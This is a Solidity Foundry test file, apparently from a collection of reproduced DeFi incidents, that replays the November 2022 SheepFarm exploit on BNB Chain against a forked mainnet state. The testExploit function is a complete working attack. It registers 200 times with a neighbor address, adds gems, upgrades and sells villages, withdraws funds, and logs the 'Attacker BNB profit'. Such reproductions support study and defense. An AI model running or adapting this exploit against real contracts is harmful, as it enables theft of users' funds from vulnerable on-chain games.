src/test/2022-11/SheepFarm_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/AnciliaInc/status/1592658104394473472
9// https://twitter.com/BlockSecTeam/status/1592734292727455744
10// @Tx
11// https://bscscan.com/tx/0x5735026e5de6d1968ab5baef0cc436cc0a3f4de4ab735335c5b1bd31fa60c582
12 
13interface SheepFram {
14    function register(
15        address neighbor
16    ) external;
17    function addGems() external payable;
18    function upgradeVillage(
19        uint256 framId
20    ) external;
21    function withdrawMoney(
22        uint256 wool
23    ) external;
24    function sellVillage() external;
25}
26 
27contract ContractTest is Test {
28    SheepFram sheepFram = SheepFram(0x4726010da871f4b57b5031E3EA48Bde961F122aA);
29    address neighbor = 0x14598f3a9f3042097486DC58C65780Daf3e3acFB;
30 
31    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
32 
33    function setUp() public {
34        cheats.createSelectFork("bsc", 23_088_156);
35    }
36 
37    function testExploit() public payable {
38        for (uint8 i = 0; i < 200; i++) {
39            sheepFram.register(neighbor);
40        }
41        sheepFram.addGems{value: 5 * 1e14}();
42        for (uint8 i = 0; i < 3; i++) {
43            sheepFram.upgradeVillage(i);
44        }
45        sheepFram.sellVillage();
46        uint256 BalanceBefore = address(this).balance;
47        sheepFram.withdrawMoney(20_000);
48        uint256 BalanceAfter = address(this).balance;
49 
50        emit log_named_decimal_uint("Attacker BNB profit after exploit", (BalanceAfter - BalanceBefore), 18);
51    }
52 
53    receive() external payable {}
54}